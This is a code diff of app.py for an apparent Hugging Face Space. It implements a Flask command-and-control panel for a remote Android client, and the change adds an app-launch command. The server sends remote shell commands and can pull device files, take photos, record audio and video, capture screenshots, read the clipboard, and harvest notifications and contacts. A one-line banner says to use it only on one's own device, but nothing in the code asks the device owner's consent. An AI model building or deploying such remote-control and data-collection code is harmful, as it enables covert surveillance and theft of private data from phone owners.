Spaces:
Sleeping
Sleeping
Update app.py
Browse files
app.py
CHANGED
@@ -32,12 +32,12 @@ HTML_TEMPLATE = """
|
|
32 |
<title>Панель управления Android</title>
|
33 |
<style>
|
34 |
body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; min-height: 100vh; }
|
35 |
-
.sidebar { width:
|
36 |
.sidebar h2 { margin-top: 0; font-size: 1.2em; border-bottom: 1px solid #555; padding-bottom: 10px; }
|
37 |
.sidebar ul { list-style: none; padding: 0; margin: 0; }
|
38 |
.sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 10px; border-radius: 4px; margin-bottom: 5px; }
|
39 |
.sidebar ul li a:hover, .sidebar ul li a.active { background-color: #555; color: white; }
|
40 |
-
.content { flex-grow: 1; padding: 20px; box-sizing: border-box;
|
41 |
.container { background-color: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); margin-bottom:20px; }
|
42 |
h1 { color: #333; text-align: center; margin-bottom: 20px;}
|
43 |
.control-section { margin-bottom: 20px; padding: 15px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #f9f9f9; }
|
@@ -49,23 +49,25 @@ HTML_TEMPLATE = """
|
|
49 |
.status { padding: 12px; border-radius: 4px; margin-bottom:15px; font-weight: bold; }
|
50 |
.status.online { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
|
51 |
.status.offline { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
|
52 |
-
.file-browser ul { list-style: none; padding: 0; }
|
53 |
-
.file-browser li { padding: 8px 0; border-bottom: 1px solid #eee; display: flex; justify-content: space-between; align-items: center; }
|
54 |
-
.file-browser li:last-child { border-bottom: none; }
|
55 |
-
.file-browser a { text-decoration: none; color: #007bff; }
|
56 |
-
.file-browser a:hover { text-decoration: underline; }
|
57 |
.file-icon { margin-right: 8px; }
|
58 |
.file-browser .dir a { font-weight: bold; }
|
59 |
.file-browser .download-btn { font-size: 0.8em; padding: 3px 8px; background-color: #28a745; }
|
60 |
.file-browser .download-btn:hover { background-color: #218838; }
|
|
|
|
|
61 |
.hidden-section { display: none; }
|
62 |
.status-item { margin-bottom: 10px; }
|
63 |
.status-item strong { color: #333; }
|
64 |
-
.
|
65 |
-
.
|
66 |
-
.
|
67 |
-
.
|
68 |
-
.
|
69 |
</style>
|
70 |
<script>
|
71 |
let currentView = 'dashboard';
|
@@ -229,7 +231,7 @@ HTML_TEMPLATE = """
|
|
229 |
if (notifications && notifications.length > 0) {
|
230 |
notifications.forEach(n => {
|
231 |
const itemDiv = document.createElement('div');
|
232 |
-
itemDiv.className = '
|
233 |
itemDiv.innerHTML = `
|
234 |
<strong>${n.title || 'Без заголовка'} (ID: ${n.id || 'N/A'})</strong>
|
235 |
<span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
|
@@ -243,49 +245,41 @@ HTML_TEMPLATE = """
|
|
243 |
notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
|
244 |
}
|
245 |
}
|
246 |
-
|
247 |
function renderContacts(contacts) {
|
248 |
-
const
|
249 |
-
|
250 |
if (contacts && contacts.length > 0) {
|
251 |
contacts.forEach(c => {
|
252 |
-
const
|
253 |
-
|
254 |
-
|
255 |
-
|
256 |
-
<span>${c.number || 'Нет номера'}</span>
|
257 |
-
`;
|
258 |
-
contactListDiv.appendChild(itemDiv);
|
259 |
});
|
260 |
} else {
|
261 |
-
|
262 |
}
|
263 |
}
|
264 |
-
|
265 |
function renderInstalledApps(apps) {
|
266 |
-
const
|
267 |
-
|
268 |
if (apps && apps.length > 0) {
|
269 |
-
apps.forEach(
|
270 |
-
const
|
271 |
-
|
272 |
-
|
273 |
-
|
274 |
-
/*
|
275 |
const launchBtn = document.createElement('button');
|
276 |
-
launchBtn.
|
277 |
-
launchBtn.
|
278 |
-
|
279 |
-
|
280 |
-
|
281 |
-
|
282 |
-
|
283 |
-
itemDiv.appendChild(launchBtn);
|
284 |
-
*/
|
285 |
-
appListDiv.appendChild(itemDiv);
|
286 |
});
|
287 |
} else {
|
288 |
-
|
289 |
}
|
290 |
}
|
291 |
|
@@ -349,17 +343,6 @@ HTML_TEMPLATE = """
|
|
349 |
sendGenericCommand({ command_type: 'shell', command: command });
|
350 |
document.getElementById('command_str').value = '';
|
351 |
}
|
352 |
-
|
353 |
-
function submitAmStartCommand(event) {
|
354 |
-
event.preventDefault();
|
355 |
-
const command = document.getElementById('am_start_command_str').value;
|
356 |
-
if (command) {
|
357 |
-
sendGenericCommand({ command_type: 'shell', command: 'am start -n ' + command });
|
358 |
-
} else {
|
359 |
-
alert("Введите имя пакета/активити.");
|
360 |
-
}
|
361 |
-
}
|
362 |
-
|
363 |
|
364 |
function submitMediaCommand(type, paramName, paramValueId, param2Name, param2ValueId) {
|
365 |
let payload = { command_type: type };
|
@@ -367,7 +350,7 @@ HTML_TEMPLATE = """
|
|
367 |
const value = document.getElementById(paramValueId).value;
|
368 |
if (value) payload[paramName] = value;
|
369 |
}
|
370 |
-
|
371 |
const value2 = document.getElementById(param2ValueId).value;
|
372 |
if (value2) payload[param2Name] = value2;
|
373 |
}
|
@@ -446,6 +429,9 @@ HTML_TEMPLATE = """
|
|
446 |
function requestInstalledApps() {
|
447 |
sendGenericCommand({ command_type: 'get_installed_apps' });
|
448 |
}
|
|
|
|
|
|
|
449 |
|
450 |
|
451 |
</script>
|
@@ -510,39 +496,34 @@ HTML_TEMPLATE = """
|
|
510 |
<button onclick="requestNotifications()">Обновить уведомления</button>
|
511 |
<div class="control-section">
|
512 |
<h3>Список уведомлений:</h3>
|
513 |
-
<div id="notificationList" class="
|
514 |
<p>Запросите список уведомлений.</p>
|
515 |
</div>
|
516 |
</div>
|
517 |
</div>
|
518 |
-
|
519 |
<div id="contacts" class="container hidden-section">
|
520 |
<h2>Контакты</h2>
|
521 |
-
<
|
|
|
|
|
|
|
522 |
<div class="control-section">
|
523 |
<h3>Список контактов:</h3>
|
524 |
-
<
|
525 |
-
<
|
526 |
-
</
|
527 |
</div>
|
528 |
</div>
|
529 |
-
|
530 |
<div id="apps" class="container hidden-section">
|
531 |
<h2>Установленные приложения</h2>
|
532 |
-
<button onclick="requestInstalledApps()"
|
533 |
<div class="control-section">
|
534 |
-
<h3>Список
|
535 |
-
<
|
536 |
-
<
|
537 |
-
</
|
538 |
-
</div>
|
539 |
-
<div class="control-section">
|
540 |
-
<h3>Запустить приложение (через AM)</h3>
|
541 |
-
<form onsubmit="submitAmStartCommand(event)">
|
542 |
-
<label for="am_start_command_str">Имя пакета/Главная Activity (например, com.example.app/.MainActivity):</label>
|
543 |
-
<input type="text" id="am_start_command_str" name="am_start_command_str" placeholder="com.termux/.app.TermuxActivity">
|
544 |
-
<button type="submit">Запустить</button>
|
545 |
-
</form>
|
546 |
</div>
|
547 |
</div>
|
548 |
|
@@ -598,12 +579,12 @@ HTML_TEMPLATE = """
|
|
598 |
<label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
|
599 |
<input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
|
600 |
</div>
|
601 |
-
|
602 |
-
<button onclick="submitMediaCommand('record_video', '
|
603 |
-
<label for="
|
604 |
-
<input type="text" id="
|
605 |
-
<label for="
|
606 |
-
<input type="text" id="
|
607 |
</div>
|
608 |
<div class="control-section">
|
609 |
<button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
|
@@ -679,7 +660,7 @@ def index():
|
|
679 |
|
680 |
@app.route('/send_command', methods=['POST'])
|
681 |
def handle_send_command():
|
682 |
-
global pending_command, command_output
|
683 |
|
684 |
data = request.json
|
685 |
command_output = "Ожидание выполнения..."
|
@@ -687,69 +668,51 @@ def handle_send_command():
|
|
687 |
command_type = data.get('command_type')
|
688 |
|
689 |
if command_type == 'list_files':
|
690 |
-
|
691 |
-
pending_command = {'type': 'list_files', 'path': path_requested}
|
692 |
elif command_type == 'request_download_file':
|
693 |
filename = data.get('filename')
|
694 |
-
if filename:
|
695 |
-
|
696 |
-
else:
|
697 |
-
command_output = "Ошибка: Имя файла для скачивания не указано."
|
698 |
elif command_type == 'take_photo':
|
699 |
pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
|
700 |
elif command_type == 'record_audio':
|
701 |
pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
|
702 |
elif command_type == 'record_video':
|
703 |
-
pending_command = {
|
704 |
-
'type': 'record_video',
|
705 |
-
'duration': data.get('duration', '10'),
|
706 |
-
'camera_id': data.get('camera_id', '0')
|
707 |
-
}
|
708 |
elif command_type == 'screenshot':
|
709 |
pending_command = {'type': 'screenshot'}
|
710 |
elif command_type == 'shell':
|
711 |
command_str = data.get('command')
|
712 |
-
if command_str:
|
713 |
-
|
714 |
-
else:
|
715 |
-
command_output = "Ошибка: Команда не указана."
|
716 |
elif command_type == 'receive_file':
|
717 |
-
|
718 |
-
|
719 |
-
|
720 |
-
|
721 |
-
|
722 |
-
|
723 |
-
|
724 |
-
'download_url': url_for('download_to_client', filename=server_filename, _external=True),
|
725 |
-
'target_path': target_path_on_device,
|
726 |
-
'original_filename': server_filename
|
727 |
-
}
|
728 |
-
file_to_send_to_client = None
|
729 |
-
else:
|
730 |
-
command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
|
731 |
-
else:
|
732 |
-
command_output = "Ошибка: Недостаточно данных для отправки файла клиенту."
|
733 |
elif command_type == 'clipboard_get':
|
734 |
pending_command = {'type': 'clipboard_get'}
|
735 |
elif command_type == 'clipboard_set':
|
736 |
-
|
737 |
-
pending_command = {'type': 'clipboard_set', 'text': text_to_set}
|
738 |
elif command_type == 'open_url':
|
739 |
-
|
740 |
-
if
|
741 |
-
|
742 |
-
else:
|
743 |
-
command_output = "Ошибка: URL для открытия не указан."
|
744 |
elif command_type == 'get_device_status':
|
745 |
-
|
746 |
-
pending_command = {'type': 'get_device_status', 'item': item_requested}
|
747 |
elif command_type == 'get_notifications':
|
748 |
pending_command = {'type': 'get_notifications'}
|
749 |
elif command_type == 'get_contacts':
|
750 |
pending_command = {'type': 'get_contacts'}
|
751 |
elif command_type == 'get_installed_apps':
|
752 |
pending_command = {'type': 'get_installed_apps'}
|
|
|
|
|
|
|
|
|
753 |
else:
|
754 |
command_output = "Неизвестный тип команды."
|
755 |
|
@@ -770,47 +733,37 @@ def submit_client_data():
|
|
770 |
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list, installed_apps_list
|
771 |
|
772 |
data = request.json
|
773 |
-
if not data:
|
774 |
-
return jsonify({'status': 'error', 'message': 'No data received'}), 400
|
775 |
|
776 |
last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
|
777 |
|
778 |
if 'output' in data:
|
779 |
new_output = data['output']
|
780 |
max_len = 20000
|
781 |
-
if len(new_output) > max_len
|
782 |
-
command_output = new_output[:max_len] + "\n... (output truncated)"
|
783 |
-
else:
|
784 |
-
command_output = new_output
|
785 |
|
786 |
-
if 'current_path' in data:
|
787 |
-
|
788 |
-
|
789 |
-
if 'device_status_update' in data:
|
790 |
-
update = data['device_status_update']
|
791 |
-
for key, value in update.items():
|
792 |
-
device_status_info[key] = value
|
793 |
|
794 |
if 'notifications_update' in data:
|
795 |
-
notifications_history = data['notifications_update']
|
796 |
-
if not command_output or command_output == "Клиент онлайн.":
|
797 |
-
|
798 |
-
|
799 |
if 'contacts_update' in data:
|
800 |
contacts_list = data['contacts_update']
|
801 |
-
if not command_output or command_output == "Клиент онлайн.":
|
802 |
-
command_output = "Список контактов обновлен."
|
803 |
|
804 |
if 'installed_apps_update' in data:
|
805 |
installed_apps_list = data['installed_apps_update']
|
806 |
-
if not command_output or command_output == "Клиент онлайн.":
|
807 |
-
command_output = "Список установленных приложений обновлен."
|
808 |
|
809 |
|
810 |
if 'heartbeat' in data and data['heartbeat']:
|
811 |
-
|
812 |
-
|
813 |
-
|
|
|
|
|
814 |
return jsonify({'status': 'heartbeat_ok'})
|
815 |
|
816 |
return jsonify({'status': 'data_received'})
|
@@ -832,19 +785,15 @@ def upload_from_client_route():
|
|
832 |
filename = werkzeug.utils.secure_filename(file.filename)
|
833 |
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
|
834 |
|
835 |
-
counter = 0
|
836 |
-
base_name, ext = os.path.splitext(filename)
|
837 |
while os.path.exists(filepath):
|
838 |
-
counter += 1
|
839 |
-
filename = f"{base_name}_{counter}{ext}"
|
840 |
-
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
|
841 |
|
842 |
try:
|
843 |
file.save(filepath)
|
844 |
origin_command_type = request.form.get("origin_command_type", "unknown")
|
845 |
if origin_command_type == "request_download_file":
|
846 |
command_output = f"Файл '{filename}' успешно загружен С клиента."
|
847 |
-
|
848 |
return jsonify({'status': 'success', 'filename': filename})
|
849 |
except Exception as e:
|
850 |
command_output = f"Ошибка сохранения файла от клиента: {str(e)}"
|
@@ -854,12 +803,9 @@ def upload_from_client_route():
|
|
854 |
def get_status_output_route():
|
855 |
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list, installed_apps_list
|
856 |
return jsonify({
|
857 |
-
'output': command_output,
|
858 |
-
'
|
859 |
-
'
|
860 |
-
'device_status': device_status_info,
|
861 |
-
'notifications': notifications_history,
|
862 |
-
'contacts': contacts_list,
|
863 |
'installed_apps': installed_apps_list
|
864 |
})
|
865 |
|
@@ -872,50 +818,34 @@ def list_uploaded_files_route():
|
|
872 |
files = []
|
873 |
try:
|
874 |
for f_name in os.listdir(app.config['UPLOAD_FOLDER']):
|
875 |
-
if os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], f_name)):
|
876 |
-
|
877 |
-
except Exception:
|
878 |
-
pass
|
879 |
return jsonify({'files': sorted(files, key=lambda f: os.path.getmtime(os.path.join(app.config['UPLOAD_FOLDER'], f)), reverse=True)})
|
880 |
|
881 |
|
882 |
@app.route('/upload_to_server_for_client', methods=['POST'])
|
883 |
def upload_to_server_for_client_route():
|
884 |
-
global
|
885 |
-
if 'file_to_device' not in request.files:
|
886 |
-
return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
|
887 |
-
|
888 |
file = request.files['file_to_device']
|
889 |
target_path_on_device = request.form.get('target_path_on_device')
|
890 |
-
|
891 |
-
if
|
892 |
-
return jsonify({'status': 'error', 'message': 'No selected file for_device'}), 400
|
893 |
-
|
894 |
-
if not target_path_on_device:
|
895 |
-
return jsonify({'status': 'error', 'message': 'Target path on device not specified'}), 400
|
896 |
|
897 |
if file:
|
898 |
original_filename = werkzeug.utils.secure_filename(file.filename)
|
899 |
server_side_filename = str(uuid.uuid4()) + "_" + original_filename
|
900 |
filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
|
901 |
-
|
902 |
try:
|
903 |
file.save(filepath_on_server)
|
904 |
command_output = f"Файл {original_filename} загружен на сервер, готов к отправке клиенту в {target_path_on_device}."
|
905 |
-
return jsonify({
|
906 |
-
|
907 |
-
'server_filename': server_side_filename,
|
908 |
-
'original_filename': original_filename,
|
909 |
-
'target_path_on_device': target_path_on_device
|
910 |
-
})
|
911 |
-
except Exception as e:
|
912 |
-
return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500
|
913 |
return jsonify({'status': 'error', 'message': 'File processing failed on server'}), 500
|
914 |
|
915 |
@app.route('/download_to_client/<filename>')
|
916 |
def download_to_client(filename):
|
917 |
return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename, as_attachment=True)
|
918 |
|
919 |
-
|
920 |
if __name__ == '__main__':
|
921 |
app.run(host='0.0.0.0', port=7860, debug=False)
|
|
|
32 |
<title>Панель управления Android</title>
|
33 |
<style>
|
34 |
body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; min-height: 100vh; }
|
35 |
+
.sidebar { width: 280px; background-color: #333; color: white; padding: 20px; box-sizing: border-box; display: flex; flex-direction: column; }
|
36 |
.sidebar h2 { margin-top: 0; font-size: 1.2em; border-bottom: 1px solid #555; padding-bottom: 10px; }
|
37 |
.sidebar ul { list-style: none; padding: 0; margin: 0; }
|
38 |
.sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 10px; border-radius: 4px; margin-bottom: 5px; }
|
39 |
.sidebar ul li a:hover, .sidebar ul li a.active { background-color: #555; color: white; }
|
40 |
+
.content { flex-grow: 1; padding: 20px; box-sizing: border-box; }
|
41 |
.container { background-color: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); margin-bottom:20px; }
|
42 |
h1 { color: #333; text-align: center; margin-bottom: 20px;}
|
43 |
.control-section { margin-bottom: 20px; padding: 15px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #f9f9f9; }
|
|
|
49 |
.status { padding: 12px; border-radius: 4px; margin-bottom:15px; font-weight: bold; }
|
50 |
.status.online { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
|
51 |
.status.offline { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
|
52 |
+
.file-browser ul, .data-list ul { list-style: none; padding: 0; }
|
53 |
+
.file-browser li, .data-list li { padding: 8px 0; border-bottom: 1px solid #eee; display: flex; justify-content: space-between; align-items: center; }
|
54 |
+
.file-browser li:last-child, .data-list li:last-child { border-bottom: none; }
|
55 |
+
.file-browser a, .data-list a { text-decoration: none; color: #007bff; }
|
56 |
+
.file-browser a:hover, .data-list a:hover { text-decoration: underline; }
|
57 |
.file-icon { margin-right: 8px; }
|
58 |
.file-browser .dir a { font-weight: bold; }
|
59 |
.file-browser .download-btn { font-size: 0.8em; padding: 3px 8px; background-color: #28a745; }
|
60 |
.file-browser .download-btn:hover { background-color: #218838; }
|
61 |
+
.data-list .action-btn { font-size: 0.8em; padding: 3px 8px; background-color: #17a2b8; }
|
62 |
+
.data-list .action-btn:hover { background-color: #138496; }
|
63 |
.hidden-section { display: none; }
|
64 |
.status-item { margin-bottom: 10px; }
|
65 |
.status-item strong { color: #333; }
|
66 |
+
.list-container { max-height: 400px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; background-color: #fdfdfd;}
|
67 |
+
.list-item { border-bottom: 1px solid #eee; padding: 8px 0; margin-bottom: 8px; }
|
68 |
+
.list-item:last-child { border-bottom: none; }
|
69 |
+
.list-item strong { display: block; color: #555; }
|
70 |
+
.list-item span { font-size: 0.9em; color: #777; }
|
71 |
</style>
|
72 |
<script>
|
73 |
let currentView = 'dashboard';
|
|
|
231 |
if (notifications && notifications.length > 0) {
|
232 |
notifications.forEach(n => {
|
233 |
const itemDiv = document.createElement('div');
|
234 |
+
itemDiv.className = 'list-item';
|
235 |
itemDiv.innerHTML = `
|
236 |
<strong>${n.title || 'Без заголовка'} (ID: ${n.id || 'N/A'})</strong>
|
237 |
<span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
|
|
|
245 |
notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
|
246 |
}
|
247 |
}
|
|
|
248 |
function renderContacts(contacts) {
|
249 |
+
const contactListUl = document.getElementById('contactList');
|
250 |
+
contactListUl.innerHTML = '';
|
251 |
if (contacts && contacts.length > 0) {
|
252 |
contacts.forEach(c => {
|
253 |
+
const li = document.createElement('li');
|
254 |
+
li.className = 'list-item';
|
255 |
+
li.innerHTML = `<strong>${c.name || 'Без имени'}</strong>: ${c.number || 'Нет номера'}`;
|
256 |
+
contactListUl.appendChild(li);
|
|
|
|
|
|
|
257 |
});
|
258 |
} else {
|
259 |
+
contactListUl.innerHTML = '<li>Нет контактов для отображения или не удалось их получить.</li>';
|
260 |
}
|
261 |
}
|
262 |
+
|
263 |
function renderInstalledApps(apps) {
|
264 |
+
const appLictUl = document.getElementById('installedAppsList');
|
265 |
+
appLictUl.innerHTML = '';
|
266 |
if (apps && apps.length > 0) {
|
267 |
+
apps.forEach(appPkg => {
|
268 |
+
const li = document.createElement('li');
|
269 |
+
const nameSpan = document.createElement('span');
|
270 |
+
nameSpan.textContent = appPkg;
|
271 |
+
|
|
|
272 |
const launchBtn = document.createElement('button');
|
273 |
+
launchBtn.className = 'action-btn';
|
274 |
+
launchBtn.textContent = 'Запустить';
|
275 |
+
launchBtn.onclick = (e) => { e.preventDefault(); launchApp(appPkg); };
|
276 |
+
|
277 |
+
li.appendChild(nameSpan);
|
278 |
+
li.appendChild(launchBtn);
|
279 |
+
appLictUl.appendChild(li);
|
|
|
|
|
|
|
280 |
});
|
281 |
} else {
|
282 |
+
appLictUl.innerHTML = '<li>Нет установленных приложений для отображения или не удалось их получить.</li>';
|
283 |
}
|
284 |
}
|
285 |
|
|
|
343 |
sendGenericCommand({ command_type: 'shell', command: command });
|
344 |
document.getElementById('command_str').value = '';
|
345 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
346 |
|
347 |
function submitMediaCommand(type, paramName, paramValueId, param2Name, param2ValueId) {
|
348 |
let payload = { command_type: type };
|
|
|
350 |
const value = document.getElementById(paramValueId).value;
|
351 |
if (value) payload[paramName] = value;
|
352 |
}
|
353 |
+
if (param2Name && param2ValueId) { // For second param, e.g., video duration
|
354 |
const value2 = document.getElementById(param2ValueId).value;
|
355 |
if (value2) payload[param2Name] = value2;
|
356 |
}
|
|
|
429 |
function requestInstalledApps() {
|
430 |
sendGenericCommand({ command_type: 'get_installed_apps' });
|
431 |
}
|
432 |
+
function launchApp(packageName) {
|
433 |
+
sendGenericCommand({ command_type: 'launch_app', package_name: packageName });
|
434 |
+
}
|
435 |
|
436 |
|
437 |
</script>
|
|
|
496 |
<button onclick="requestNotifications()">Обновить уведомления</button>
|
497 |
<div class="control-section">
|
498 |
<h3>Список уведомлений:</h3>
|
499 |
+
<div id="notificationList" class="list-container">
|
500 |
<p>Запросите список уведомлений.</p>
|
501 |
</div>
|
502 |
</div>
|
503 |
</div>
|
504 |
+
|
505 |
<div id="contacts" class="container hidden-section">
|
506 |
<h2>Контакты</h2>
|
507 |
+
<div class="control-section" style="border-color: red; background-color: #ffebee;">
|
508 |
+
<p style="color: red; font-weight: bold;">ВНИМАНИЕ: Доступ к контактам является чувствительной операцией. Используйте ответственно и только на своих устройствах для резервного копирования!</p>
|
509 |
+
</div>
|
510 |
+
<button onclick="requestContacts()">Запросить список контактов</button>
|
511 |
<div class="control-section">
|
512 |
<h3>Список контактов:</h3>
|
513 |
+
<ul id="contactList" class="list-container data-list">
|
514 |
+
<li>Запросите список контактов.</li>
|
515 |
+
</ul>
|
516 |
</div>
|
517 |
</div>
|
518 |
+
|
519 |
<div id="apps" class="container hidden-section">
|
520 |
<h2>Установленные приложения</h2>
|
521 |
+
<button onclick="requestInstalledApps()">Запросить список приложений</button>
|
522 |
<div class="control-section">
|
523 |
+
<h3>Список приложений (пакеты):</h3>
|
524 |
+
<ul id="installedAppsList" class="list-container data-list">
|
525 |
+
<li>Запросите список приложений.</li>
|
526 |
+
</ul>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
527 |
</div>
|
528 |
</div>
|
529 |
|
|
|
579 |
<label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
|
580 |
<input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
|
581 |
</div>
|
582 |
+
<div class="control-section">
|
583 |
+
<button onclick="submitMediaCommand('record_video', 'camera_id', 'video_camera_id_input', 'duration', 'video_duration_input')">Записать видео</button>
|
584 |
+
<label for="video_camera_id_input" style="display:inline-block; margin-left:5px;">ID камеры:</label>
|
585 |
+
<input type="text" id="video_camera_id_input" value="0" style="width:40px; display:inline-block;">
|
586 |
+
<label for="video_duration_input" style="display:inline-block; margin-left:5px;">Длит. (сек):</label>
|
587 |
+
<input type="text" id="video_duration_input" value="10" style="width:40px; display:inline-block;">
|
588 |
</div>
|
589 |
<div class="control-section">
|
590 |
<button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
|
|
|
660 |
|
661 |
@app.route('/send_command', methods=['POST'])
|
662 |
def handle_send_command():
|
663 |
+
global pending_command, command_output
|
664 |
|
665 |
data = request.json
|
666 |
command_output = "Ожидание выполнения..."
|
|
|
668 |
command_type = data.get('command_type')
|
669 |
|
670 |
if command_type == 'list_files':
|
671 |
+
pending_command = {'type': 'list_files', 'path': data.get('path', '.')}
|
|
|
672 |
elif command_type == 'request_download_file':
|
673 |
filename = data.get('filename')
|
674 |
+
if filename: pending_command = {'type': 'upload_to_server', 'filename': filename}
|
675 |
+
else: command_output = "Ошибка: Имя файла для скачивания не указано."
|
|
|
|
|
676 |
elif command_type == 'take_photo':
|
677 |
pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
|
678 |
elif command_type == 'record_audio':
|
679 |
pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
|
680 |
elif command_type == 'record_video':
|
681 |
+
pending_command = {'type': 'record_video', 'camera_id': data.get('camera_id','0'), 'duration': data.get('duration', '10')}
|
|
|
|
|
|
|
|
|
682 |
elif command_type == 'screenshot':
|
683 |
pending_command = {'type': 'screenshot'}
|
684 |
elif command_type == 'shell':
|
685 |
command_str = data.get('command')
|
686 |
+
if command_str: pending_command = {'type': 'shell', 'command': command_str}
|
687 |
+
else: command_output = "Ошибка: Команда не указана."
|
|
|
|
|
688 |
elif command_type == 'receive_file':
|
689 |
+
s_fn, t_path = data.get('server_filename'), data.get('target_path_on_device')
|
690 |
+
if s_fn and t_path:
|
691 |
+
f_path = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], s_fn)
|
692 |
+
if os.path.exists(f_path):
|
693 |
+
pending_command = {'type': 'receive_file', 'download_url': url_for('download_to_client', filename=s_fn, _external=True), 'target_path': t_path, 'original_filename': s_fn }
|
694 |
+
else: command_output = f"Ошибка: Файл {s_fn} не найден на сервере."
|
695 |
+
else: command_output = "Ошибка: Недостаточно данных для отправки файла клиенту."
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
696 |
elif command_type == 'clipboard_get':
|
697 |
pending_command = {'type': 'clipboard_get'}
|
698 |
elif command_type == 'clipboard_set':
|
699 |
+
pending_command = {'type': 'clipboard_set', 'text': data.get('text', '')}
|
|
|
700 |
elif command_type == 'open_url':
|
701 |
+
url = data.get('url')
|
702 |
+
if url: pending_command = {'type': 'open_url', 'url': url}
|
703 |
+
else: command_output = "Ошибка: URL для открытия не указан."
|
|
|
|
|
704 |
elif command_type == 'get_device_status':
|
705 |
+
pending_command = {'type': 'get_device_status', 'item': data.get('item')}
|
|
|
706 |
elif command_type == 'get_notifications':
|
707 |
pending_command = {'type': 'get_notifications'}
|
708 |
elif command_type == 'get_contacts':
|
709 |
pending_command = {'type': 'get_contacts'}
|
710 |
elif command_type == 'get_installed_apps':
|
711 |
pending_command = {'type': 'get_installed_apps'}
|
712 |
+
elif command_type == 'launch_app':
|
713 |
+
pkg_name = data.get('package_name')
|
714 |
+
if pkg_name: pending_command = {'type': 'launch_app', 'package_name': pkg_name}
|
715 |
+
else: command_output = "Ошибка: Имя пакета для запуска не указано."
|
716 |
else:
|
717 |
command_output = "Неизвестный тип команды."
|
718 |
|
|
|
733 |
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list, installed_apps_list
|
734 |
|
735 |
data = request.json
|
736 |
+
if not data: return jsonify({'status': 'error', 'message': 'No data received'}), 400
|
|
|
737 |
|
738 |
last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
|
739 |
|
740 |
if 'output' in data:
|
741 |
new_output = data['output']
|
742 |
max_len = 20000
|
743 |
+
command_output = new_output[:max_len] + ("\n... (output truncated)" if len(new_output) > max_len else "")
|
|
|
|
|
|
|
744 |
|
745 |
+
if 'current_path' in data: current_client_path = data['current_path']
|
746 |
+
if 'device_status_update' in data: device_status_info.update(data['device_status_update'])
|
|
|
|
|
|
|
|
|
|
|
747 |
|
748 |
if 'notifications_update' in data:
|
749 |
+
notifications_history = data['notifications_update']
|
750 |
+
if not command_output or command_output == "Клиент онлайн.": command_output = "Список уведомлений обновлен."
|
751 |
+
|
|
|
752 |
if 'contacts_update' in data:
|
753 |
contacts_list = data['contacts_update']
|
754 |
+
if not command_output or command_output == "Клиент онлайн.": command_output = "Список контактов обновлен."
|
|
|
755 |
|
756 |
if 'installed_apps_update' in data:
|
757 |
installed_apps_list = data['installed_apps_update']
|
758 |
+
if not command_output or command_output == "Клиент онлайн.": command_output = "Список приложений обновлен."
|
|
|
759 |
|
760 |
|
761 |
if 'heartbeat' in data and data['heartbeat']:
|
762 |
+
is_pure_heartbeat = 'output' not in data and 'device_status_update' not in data and \
|
763 |
+
'notifications_update' not in data and 'contacts_update' not in data and \
|
764 |
+
'installed_apps_update' not in data
|
765 |
+
if not command_output or command_output == "Клиент онлайн." or is_pure_heartbeat:
|
766 |
+
if is_pure_heartbeat : command_output = "Клиент онлайн."
|
767 |
return jsonify({'status': 'heartbeat_ok'})
|
768 |
|
769 |
return jsonify({'status': 'data_received'})
|
|
|
785 |
filename = werkzeug.utils.secure_filename(file.filename)
|
786 |
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
|
787 |
|
788 |
+
counter = 0; base_name, ext = os.path.splitext(filename)
|
|
|
789 |
while os.path.exists(filepath):
|
790 |
+
counter += 1; filename = f"{base_name}_{counter}{ext}"; filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
|
|
|
|
|
791 |
|
792 |
try:
|
793 |
file.save(filepath)
|
794 |
origin_command_type = request.form.get("origin_command_type", "unknown")
|
